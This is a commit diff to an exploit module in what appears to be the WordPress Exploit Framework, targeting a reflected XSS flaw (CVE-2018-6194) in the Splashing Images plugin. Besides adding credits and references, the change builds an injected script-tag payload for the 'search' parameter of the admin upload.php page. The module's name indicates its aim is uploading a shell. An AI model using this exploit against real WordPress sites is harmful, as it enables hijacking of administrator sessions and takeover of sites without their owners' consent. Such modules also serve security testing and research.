Add references, author and remove hard coded encoding

Author: rastating

modules/exploits/splashing_images_reflected_xss_shell_upload.rb

@@ -9,26 +9,31 @@ def initialize
     update_info(
       name: 'Splashing Imagges 2.1 Reflected XSS',
       author: [
+        'Nicolas Buzy-Debat',                     # Discovery
         'Paul Williams <phyushin[at]phyubox.com>' # WPXF module
       ],
       references: [
+        ['CVE', '2018-6194'],
         ['WPVDB', '9016'],
-        ['URL', 'https://packetstormsecurity.com/files/146109/']
+        ['URL', 'http://seclists.org/fulldisclosure/2018/Jan/91']
       ],
       date: 'Jan 26 2018'
     )
   end
 
   def check
-    readme = normalize_uri(wordpress_url_plugins, 'wp-splashing-images', 'README.txt')
-    check_version_from_custom_file(readme, /Stable tag:\s(\d\.\d(\.\d)*)/, '2.1.1')
+    check_plugin_version_from_readme('wp-splashing-images', '2.1.1')
   end
 
   def vulnerable_url
     normalize_uri(wordpress_url_admin, 'upload.php')
   end
 
+  def url_payload
+    url_encode("\"><script>#{xss_ascii_encoded_include_script}</script>")
+  end
+
   def url_with_xss
-    "#{vulnerable_url}?page=wp-splashing&search=%22%3E%3E%3Cscript%3E#{xss_url_and_ascii_encoded_include_script}%3C%2Fscript%3E%3C"
+    "#{vulnerable_url}?page=wp-splashing&search=#{url_payload}"
   end
 end